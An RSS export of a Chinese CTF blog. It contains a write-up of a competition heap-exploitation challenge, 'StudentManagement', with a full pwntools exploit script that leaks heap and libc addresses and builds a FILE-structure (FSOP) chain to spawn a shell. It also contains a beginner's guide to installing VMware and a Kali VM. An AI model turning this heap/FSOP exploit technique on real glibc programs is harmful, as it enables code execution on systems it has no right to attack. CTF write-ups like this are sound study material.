<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Lufiende Blog</title><description>🌱</description><link>https://blog.lufiende.work/</link><language>zh_CN</language><item><title>[Writeup] 软件系统安全赛 2026 - 决赛 Pwn</title><link>https://blog.lufiende.work/posts/ctf/writeups/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/</link><guid isPermaLink="true">https://blog.lufiende.work/posts/ctf/writeups/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/</guid><description>记录了 2026 年软件系统安全赛决赛的三道二进制安全题目: StudentManager</description><pubDate>Fri, 05 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;||哈哈决赛拉了坨大的，滚去考研去了||&lt;/p&gt;
&lt;h1&gt;1. StudentManagement&lt;/h1&gt;
&lt;p&gt;:::tip
这道题是唯一一道要求 Fix 的，但是我不会，不会修
:::&lt;/p&gt;
&lt;h2&gt;1-1 分析&lt;/h2&gt;
&lt;h3&gt;1-1-1 菜单功能一览&lt;/h3&gt;
&lt;p&gt;对于攻击来说，这是一个菜单堆&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个大菜单主要是申请堆块（Reg）和删除堆块（Del）&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-2773F24B-B449-4B65-9556-0EE72AD5921D.webp&quot; alt=&quot;writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-2773F24B-B449-4B65-9556-0EE72AD5921D&quot; /&gt;&lt;/li&gt;
&lt;li&gt;一个小菜单主要是输出内容（View）和部分修改（Bio）&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-CD14259F-8953-45BA-BD84-5AD601CE94D1.webp&quot; alt=&quot;writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-CD14259F-8953-45BA-BD84-5AD601CE94D1&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1-1-2 堆块结构&lt;/h3&gt;
&lt;p&gt;我们来看申请堆块的函数&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-64EB00E9-5438-4E9D-AB57-1E97AE06E830.webp&quot; alt=&quot;writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-64EB00E9-5438-4E9D-AB57-1E97AE06E830&quot; /&gt;
:::important
buf 是 Qword 类型指针，以 8 个字节为单位算
:::
首先会申请可用大小是 0x88 的堆块，然后会往堆块写内容，其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;前 0x10 是 ID，占大小 0x10&lt;/li&gt;
&lt;li&gt;0x10 - 0x50 是 Name，占大小 0x40&lt;/li&gt;
&lt;li&gt;0x50 - 0x70 是 Password，占大小 0x20&lt;/li&gt;
&lt;li&gt;0x80 - 0x88 写入了某个地址，占大小是指针的 8 字节，这里 0x4030 是存放堆块地址的地方，而且是最近申请的堆块地址，这里是把自己的地址放上去，把原本的地址写到堆块的这个位置，不难看出这里要存一个单链表，我标注的 &lt;code&gt;fnFindID&lt;/code&gt; 其实就是遍历这个单链表&lt;/li&gt;
&lt;li&gt;所有输入全末尾置 0 并且不会越界
再看上面提到的修改别名的函数&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-0BB9F2FB-FA21-471E-82D4-9A78E9339702.webp&quot; alt=&quot;writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-0BB9F2FB-FA21-471E-82D4-9A78E9339702&quot; /&gt;
大小被限制到了 0x400，不存在就根据输入大小申一个，大小超了就释放了申请一个，堆块 0x70 的位置放了一个记录别名堆块的地址，堆块 0x78 写了一个堆块的大小（输出要用）
至此堆块的结构就解析完了&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1-2 问题点 &amp;amp; 利用思路&lt;/h2&gt;
&lt;p&gt;我们回顾上面的别名堆块，他会先判断对应位置堆块地址存不存在，堆块符不符合要求，而且&lt;strong&gt;第一次增加别名的话并不会直接&lt;/strong&gt;写一个地址上去，申请堆块也不会对堆块进行清零操作
这就会导致一个问题，我们如果有一个上面说过的堆块，这里正好可以留一个地址的话，我们就能在任意的某处写东西，进而构造成&lt;strong&gt;自己指自己&lt;/strong&gt;的结构实现任意写
但是存在一个问题&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-5FF3FD91-73EA-4EED-9B3D-3F749E4C5186.webp&quot; alt=&quot;writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-5FF3FD91-73EA-4EED-9B3D-3F749E4C5186&quot; /&gt;
正常 Free 会置 0，我们需要一个极其天才的设计，才能在对应位置写地址
||其实当时很快就想到了，奈何开题开错了，脑子抽了没找到洞，人也不全，其他题被一个逆向部分卡住了，直接爆 0||&lt;/p&gt;
&lt;h2&gt;1-3 解题思路&lt;/h2&gt;
&lt;p&gt;其实就是堆风水，我们需要&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个非 tcache，能分出堆块且大小适合的大堆块&lt;/li&gt;
&lt;li&gt;看图说话&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-3DA547A7-6E13-4BBE-B6DF-67D9658EDFB4.webp&quot; alt=&quot;writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-3DA547A7-6E13-4BBE-B6DF-67D9658EDFB4&quot; /&gt;
&lt;ol&gt;
&lt;li&gt;想尽一切办法，在这个非 tcache 的大堆上申一个绿色范围的堆块，然后释放，此时红色地方就会留下神秘小地址，这个工作基本交给 Bio 堆了&lt;/li&gt;
&lt;li&gt;然后再想想办法，将控制堆块申到橙色位置，我们就能往神秘小位置写很多东西，因为大小位置也是神秘小地址，大小肯定够、
我认为红色位置是堆块地址是最有利的，可以构造任意写，所以我们对于大堆的要求是足够大，以至于我们分割这个大的 UnsortedBin 的时候可以留下 LargeBin 的头，而且大小范围内只有一个 LargeBin 的话指向的也是 0x33f0，符合任意写的要求，所以我们对应的绿色块其实小 0x10
考虑到输入截断太多，这个任意写肯定是要多次的，但是往非堆地方写一次就不能用了，所以我们考虑改多个控制堆，所以当时我构造了这样的&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final/writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-C31F8A7F-A8A0-4FE0-89B5-BBB0AE01AE04.webp&quot; alt=&quot;writeup_ctf_ruan-jian-xi-tong-an-quan-sai_2026final-C31F8A7F-A8A0-4FE0-89B5-BBB0AE01AE04&quot; /&gt;
我们其他地方找个堆块，往大堆申请一个大的 Bio 堆，释放，红色地方留下地址，申请一个 0x88 的橙色控制堆，不释放，申请一个 0x88 的绿色控制堆，不释放，此时绿色堆可以往 0x3480 开始随便写
我们还能写到橙色堆块，覆盖它的指针，可以做到泄露地址，任意写功能等等，下面脚本会介绍部分操作&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1-4 脚本&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#
############################################################################
# Start your exploit here
############################################################################


def begin():

    for i in range(10):
        add(i)
        login(i)
        edit(0x400, b&apos;114514&apos;)
        logout()

    add(10)
    add(11)
    add(12)



    for i in range(9):
        rm(i)

    for i in range(8):
        add(i)

    for i in range(7):
        login(i)
        edit(0x400, b&apos;114514&apos;)
        logout()


    login(10)
    edit(0xe0, b&apos;1919810&apos;)
    logout()

    login(11)
    edit(0x400, b&apos;1919810&apos;)
    logout()


    for i in range(20, 27):
        add(i)
        login(i)
        edit(0xe0, b&apos;1919810&apos;)
        logout()

    for i in range(20, 27):
        rm(i)

    for i in range(7):
        rm(i)

    rm(10)
    rm(11)

    for i in range(7):
        add(i)

    for i in range(20, 27):
        add(i)


    add(30)
    add(31)


    add_s(32)
    add_s(33)

    login_s(33)
    edit(33, b&apos;\x00&apos; * 32)
    logout()

    login_s(32)
    edit(32, b&apos;4545454545&apos;)
    logout()

    login_null(33)
    choice(1)
    io.recvuntil(b&apos;Bio: &apos;)
    leak_addr = u64(io.recv(6).ljust(8, b&apos;\x00&apos;))
    log.info(hex(leak_addr))
    heap_base = leak_addr - 0x24b0
    log.info(hex(heap_base))

    libc_addr = heap_base + 0x2398
    payload = b&apos;\x00&apos; * 0x18 + p64(0x91) + b&apos;\x00&apos; * 0x70 + p64(libc_addr)
    edit(len(payload) + 1, payload)
    choice(1)

    io.recvuntil(b&apos;Bio: &apos;)
    leak_addr = u64(io.recv(6).ljust(8, b&apos;\x00&apos;))
    log.info(hex(leak_addr))
    libc_addr = leak_addr - (0x7b26f6403f50 - 0x7b26f6200000)
    log.info(hex(libc_addr))

    _IO_2_1_stdout_addr = libc.sym[&apos;_IO_2_1_stdout_&apos;] + libc_addr
    _IO_wfile_jumps_addr = libc.sym[&apos;_IO_wfile_jumps&apos;] + libc_addr
    system_addr = libc.sym[&apos;system&apos;] + libc_addr

    file = FileStructure()
    file.flags = b&apos;  sh;&apos;
    file._wide_data = heap_base + 0x25c0
    file.vtable = _IO_wfile_jumps_addr + 24 - 0x38

    wide = WideDataStructure()

    # 过判断使用
    wide._IO_read_ptr = system_addr
    wide._IO_write_base = 0
    wide._IO_buf_base = 0

    # 上文说的想执行地址的地址
    wide._wide_vtable = heap_base + 0x25c0 - 0x68

    payload = b&apos;\x00&apos; * 0x80 + p64(0x91) + b&apos;\x00&apos; * \
        0x70 + p64(_IO_2_1_stdout_addr) + b&apos;\xff&apos; * 16
    payload += p64(0x31) + b&apos;\x00&apos; * 40 + p64(0x3b1)
    payload += bytes(file) + bytes(wide)

    edit(len(payload) + 1, payload)

    payload = bytes(file)

    pause()
    edit(len(payload), payload)

    io.interactive()


def choice(num):
    io.sendlineafter(b&apos;&amp;gt;&apos;, str(num).encode())


def add(id):
    choice(1)
    id = str(id).encode()
    id = id.ljust(15, b&apos;\x20&apos;)
    name = id.ljust(63, b&apos;\x20&apos;)
    io.sendafter(b&apos;ID:&apos;, id)
    io.sendafter(b&apos;Name:&apos;, name)
    io.sendafter(b&apos;Pass:&apos;, b&apos;a&apos; * 31)


def add_s(id):
    choice(1)
    id = str(id).encode()
    io.sendafter(b&apos;ID:&apos;, id)
    io.sendafter(b&apos;Name:&apos;, id)
    io.sendafter(b&apos;Pass:&apos;, b&apos;aaa&apos;)


def rm(id):
    choice(3)
    id = str(id).encode()
    id = id.ljust(15, b&apos;\x20&apos;)
    io.sendafter(b&apos;ID to delete:&apos;, id)


def login(id):
    choice(2)
    id = str(id).encode()
    id = id.ljust(15, b&apos;\x20&apos;)
    io.sendafter(b&apos;ID:&apos;, id)
    io.sendafter(b&apos;Pass:&apos;, b&apos;a&apos; * 31)


def login_s(id):
    choice(2)
    io.sendafter(b&apos;ID:&apos;, str(id).encode())
    io.sendafter(b&apos;Pass:&apos;, b&apos;aaa&apos;)


def login_null(id):
    choice(2)
    io.sendafter(b&apos;ID:&apos;, str(id).encode())
    io.sendafter(b&apos;Pass:&apos;, b&apos;\x00&apos;)


def edit(size, con):
    choice(2)
    io.sendlineafter(b&apos;size&apos;, str(size).encode())
    io.sendafter(b&apos;tent&apos;, con)


def logout():
    choice(0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;2. Traditional&lt;/h1&gt;
&lt;p&gt;准备考研，慢慢更新......||比赛场根本逆向不懂，懂吗||&lt;/p&gt;
&lt;h1&gt;3. 带代理的神秘小游戏（忘了叫啥了）&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;缺逆向手，没做出来&lt;/em&gt;，也是等待更新......||卧槽9999竟然能直接连接我去不早说||&lt;/p&gt;
</content:encoded></item><item><title>Kali-Linux Pwn 环境配置 - 使用 VMWare</title><link>https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-vmware/</link><guid isPermaLink="true">https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-vmware/</guid><description>使用 VMWare 来配置年轻人的第一台虚拟机，开启自己的入门 Pwn 旅途，作为入门二进制的第一课</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::note
&lt;strong&gt;Tips：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;本教程于 2026.1 更新&lt;/strong&gt;
由于教程是在 WSL 子系统教程之后编写的，&lt;strong&gt;只作为针对新手的补充&lt;/strong&gt;，后续可以参照子系统的教程，相对来说没有子系统的教程细致，但是更适合新手
&lt;ul&gt;
&lt;li&gt;使用 VMWare：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-vmware/&quot;&gt;VMWare Linux 基础配置&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;使用 WSL：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-wsl/&quot;&gt;WSL Linux 基础配置&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;工具安装：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_tools/&quot;&gt;基础 Pwn 环境安装&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;本教程默认你有了&lt;strong&gt;基本的计算机操作水平&lt;/strong&gt;并且&lt;strong&gt;已经解决了任何网络问题&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;由于网页和图床代理到 Cloudflare，如果你浏览有些卡顿甚至加载失败，请自行加速并刷新
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;1. 安装 VMWare&lt;/h2&gt;
&lt;h3&gt;1-1 哪里下载&lt;/h3&gt;
&lt;p&gt;多图流，由于 VMWare Workstation 已经被收购，下载相对麻烦了一些，我们可以访问官网：&lt;a href=&quot;https://www.vmware.com/&quot;&gt;VMware by Broadcom - Cloud Computing for the Enterprise&lt;/a&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-81225994-9945-4C66-9A38-10B1EA53BC87.webp&quot; alt=&quot;pwn_environment_linux-vmware-81225994-9945-4C66-9A38-10B1EA53BC87&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-E40A1FEA-48BC-4A01-953E-57D81EED5D00.webp&quot; alt=&quot;pwn_environment_linux-vmware-E40A1FEA-48BC-4A01-953E-57D81EED5D00&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-8965F46C-357E-4CE3-949C-2A6FFC9E7A93.webp&quot; alt=&quot;pwn_environment_linux-vmware-8965F46C-357E-4CE3-949C-2A6FFC9E7A93&quot; /&gt;使用邮箱注册后返回该页面登陆
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-25AF0B67-5088-4248-A26D-8A2C6763FBFE.webp&quot; alt=&quot;pwn_environment_linux-vmware-25AF0B67-5088-4248-A26D-8A2C6763FBFE&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-1C88554B-A603-4114-86EF-463952182EE0.webp&quot; alt=&quot;pwn_environment_linux-vmware-1C88554B-A603-4114-86EF-463952182EE0&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-B205A0F1-CC67-4C22-9E81-2222BD16EC59.webp&quot; alt=&quot;pwn_environment_linux-vmware-B205A0F1-CC67-4C22-9E81-2222BD16EC59&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-D0DDA0C4-85AE-4C86-8D08-73E8F2A67903.webp&quot; alt=&quot;pwn_environment_linux-vmware-D0DDA0C4-85AE-4C86-8D08-73E8F2A67903&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-653951DA-2E6B-42A5-A00C-5E3F39097B50.webp&quot; alt=&quot;pwn_environment_linux-vmware-653951DA-2E6B-42A5-A00C-5E3F39097B50&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1-2 如何安装&lt;/h3&gt;
&lt;p&gt;首先键盘按下 &lt;code&gt;WIN + R&lt;/code&gt; 键
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-2FCB92B8-AEBB-4EC2-A65D-74D1F868A971.webp&quot; alt=&quot;pwn_environment_linux-vmware-2FCB92B8-AEBB-4EC2-A65D-74D1F868A971&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-AE0B305E-FC79-43EC-ADDF-FE3AC5C4B948.webp&quot; alt=&quot;pwn_environment_linux-vmware-AE0B305E-FC79-43EC-ADDF-FE3AC5C4B948&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-225751EB-1CE7-4B04-A92C-76C4C870AB05.webp&quot; alt=&quot;pwn_environment_linux-vmware-225751EB-1CE7-4B04-A92C-76C4C870AB05&quot; /&gt;勾选
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-C9D889F3-ACF8-497E-B398-2DC3D1F04AB7.webp&quot; alt=&quot;pwn_environment_linux-vmware-C9D889F3-ACF8-497E-B398-2DC3D1F04AB7&quot; /&gt;&lt;strong&gt;等待安装完成，重启电脑&lt;/strong&gt;，双击打开程序
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-56A8D7A1-F428-4373-9935-18EE9FC91D32.webp&quot; alt=&quot;pwn_environment_linux-vmware-56A8D7A1-F428-4373-9935-18EE9FC91D32&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-CD8FA1C3-7A2E-4981-8B6C-69601B5B7E58.webp&quot; alt=&quot;pwn_environment_linux-vmware-CD8FA1C3-7A2E-4981-8B6C-69601B5B7E58&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-DF22219C-1106-4C38-A0E7-C25718BEF7C2.webp&quot; alt=&quot;pwn_environment_linux-vmware-DF22219C-1106-4C38-A0E7-C25718BEF7C2&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-ACFFD6B3-4A49-41BC-8B07-91F918F72917.webp&quot; alt=&quot;pwn_environment_linux-vmware-ACFFD6B3-4A49-41BC-8B07-91F918F72917&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-0CA2DB54-2A3F-47B2-993C-3CCA0581CE00.webp&quot; alt=&quot;pwn_environment_linux-vmware-0CA2DB54-2A3F-47B2-993C-3CCA0581CE00&quot; /&gt;
无脑下一步安装就可以了&lt;/p&gt;
&lt;h2&gt;2. 导入虚拟机&lt;/h2&gt;
&lt;p&gt;由于官方已经有打包好的现成的虚拟机，进入官网下载即可：&lt;a href=&quot;https://www.kali.org/get-kali/#kali-platforms&quot;&gt;Get Kali | Kali Linux&lt;/a&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-4E67FF15-4064-4592-A885-C334EF1F161C.webp&quot; alt=&quot;pwn_environment_linux-vmware-4E67FF15-4064-4592-A885-C334EF1F161C&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-4FA337A1-2353-4BAF-ADF8-60BD200BE909.webp&quot; alt=&quot;pwn_environment_linux-vmware-4FA337A1-2353-4BAF-ADF8-60BD200BE909&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-DDE5F5A4-65CB-4322-80EC-CFF9C4858E39.webp&quot; alt=&quot;pwn_environment_linux-vmware-DDE5F5A4-65CB-4322-80EC-CFF9C4858E39&quot; /&gt;
漫长等待下载完成后放在合适的位置并解压并打开
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-33A2843D-F065-4E98-9CBA-94D9445A484C.webp&quot; alt=&quot;pwn_environment_linux-vmware-33A2843D-F065-4E98-9CBA-94D9445A484C&quot; /&gt;启动虚拟机
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-285ABD7F-8ACE-48D3-8783-D57DA4D86C36.webp&quot; alt=&quot;pwn_environment_linux-vmware-285ABD7F-8ACE-48D3-8783-D57DA4D86C36&quot; /&gt;启动时不要操作，直到弹出登陆窗口，账号密码全是 &lt;code&gt;kali&lt;/code&gt;，其中该虚拟机自带 &lt;code&gt;VMWare Tools&lt;/code&gt; 可以达成下面的效果
&amp;lt;video controls width=&quot;1280&quot; height=&quot;720&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;source src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-F764C7AD-0908-442D-BEE3-E7CE48EDD902.webm&quot; type=&quot;video/webm&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;（似乎你的浏览器不支持 video 标签呢）&lt;/p&gt;
&lt;p&gt;&amp;lt;/video&amp;gt;简单介绍一下桌面
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-69930324-BACD-42EC-B019-A82E0AE4BAB4.webp&quot; alt=&quot;pwn_environment_linux-vmware-69930324-BACD-42EC-B019-A82E0AE4BAB4&quot; /&gt;你可以&lt;strong&gt;启动终端&lt;/strong&gt;进行下一步操作，剪切板与系统公用，但是&lt;strong&gt;复制粘贴需要 &lt;code&gt;Ctrl+Shitf+c&lt;/code&gt; 和 &lt;code&gt;Ctrl+Shitf+v&lt;/code&gt;&lt;/strong&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-F761E129-8C47-458A-9DF5-1F2052450B08.webp&quot; alt=&quot;pwn_environment_linux-vmware-F761E129-8C47-458A-9DF5-1F2052450B08&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3. 虚拟机网络问题&lt;/h2&gt;
&lt;p&gt;没有网络的话可以&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;重启虚拟机&lt;/li&gt;
&lt;li&gt;重启宿主机&lt;/li&gt;
&lt;li&gt;切换网络模式&lt;/li&gt;
&lt;li&gt;百度||，其实我上面的也是随便说的，但是重启能解决 99% 的问题||
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-BD136E44-5FA8-46CE-9EE7-649053768217.webp&quot; alt=&quot;pwn_environment_linux-vmware-BD136E44-5FA8-46CE-9EE7-649053768217&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-B1C0213D-2A68-44D8-A97B-61A3FA0D3652.webp&quot; alt=&quot;pwn_environment_linux-vmware-B1C0213D-2A68-44D8-A97B-61A3FA0D3652&quot; /&gt;毕竟各种软件包的源都在国外，&lt;strong&gt;自行换源就可以&lt;/strong&gt;，如果你厌倦了换源的话，在你的&lt;strong&gt;神秘小软件&lt;/strong&gt;打开虚拟网卡模式即可
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-ADA73DF9-0791-4ABF-B62D-58CE6AF0F87A.webp&quot; alt=&quot;pwn_environment_linux-vmware-ADA73DF9-0791-4ABF-B62D-58CE6AF0F87A&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. 优化虚拟机&lt;/h2&gt;
&lt;p&gt;该版本包含了&lt;strong&gt;大部分日常使用的软件和软件包&lt;/strong&gt;，只要在终端操作，大致步骤都差不多，参考我配置子系统的文章&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-wsl/#3-2-3-%E5%B0%86-sudo-%E7%BB%84%E5%85%8D%E5%AF%86%E5%8F%AF%E9%80%89&quot;&gt;将 sudo 组免密（可选）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-wsl/#3-3-%E6%9B%B4%E6%96%B0%E8%BD%AF%E4%BB%B6%E6%BA%90&quot;&gt;更新软件源&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-wsl/#3-4-%E6%B1%89%E5%8C%96%E8%99%9A%E6%8B%9F%E6%9C%BA&quot;&gt;汉化虚拟机&lt;/a&gt;
:::warning
注意：虚拟机如果不安装 &lt;code&gt;locales-all&lt;/code&gt; 软件包，生成语言需要一定时间||，但我忘了能否可以安装，可以试一下||，之后需要重启虚拟机
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;5. 安装 Python 环境&lt;/h2&gt;
&lt;p&gt;参考：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-wsl/#5-python-%E7%8B%AC%E7%AB%8B%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85&quot;&gt;安装 Python 环境&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;6. 安装代码编辑器&lt;/h2&gt;
&lt;p&gt;你可以使用的编辑器有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vim&lt;/code&gt;（广泛使用）
  在终端输入 &lt;code&gt;vim &amp;lt;文件名&amp;gt;&lt;/code&gt; 可以编辑或创建文件
  &lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-1D545792-8CA7-4BC7-AEF9-A442E4DF3F46.webp&quot; alt=&quot;pwn_environment_linux-vmware-1D545792-8CA7-4BC7-AEF9-A442E4DF3F46&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Mousepad&lt;/code&gt;
  &lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-1ABBE2E5-A981-4362-A9E7-DA97EAB53627.webp&quot; alt=&quot;pwn_environment_linux-vmware-1ABBE2E5-A981-4362-A9E7-DA97EAB53627&quot; /&gt;但是我赌你不喜欢他们，我们安装一个 &lt;code&gt;VS Code&lt;/code&gt; 就可以了：&lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;Visual Studio Code - The open source AI code editor&lt;/a&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-27B372CB-E0C4-4A3F-B11B-804A11EE425B.webp&quot; alt=&quot;pwn_environment_linux-vmware-27B372CB-E0C4-4A3F-B11B-804A11EE425B&quot; /&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-0AD1F19C-7C07-4501-A03D-81011B6D35D6.webp&quot; alt=&quot;pwn_environment_linux-vmware-0AD1F19C-7C07-4501-A03D-81011B6D35D6&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-85555145-E49B-4D49-9888-F4FA0D5F757E.webp&quot; alt=&quot;pwn_environment_linux-vmware-85555145-E49B-4D49-9888-F4FA0D5F757E&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-F4BE8DFD-2AF6-4621-895F-CF7135245BDA.webp&quot; alt=&quot;pwn_environment_linux-vmware-F4BE8DFD-2AF6-4621-895F-CF7135245BDA&quot; /&gt;输入&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;sudo dpkg -i ./code_1_108.1-..._amd64.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装完后输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;code
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就安装完成了
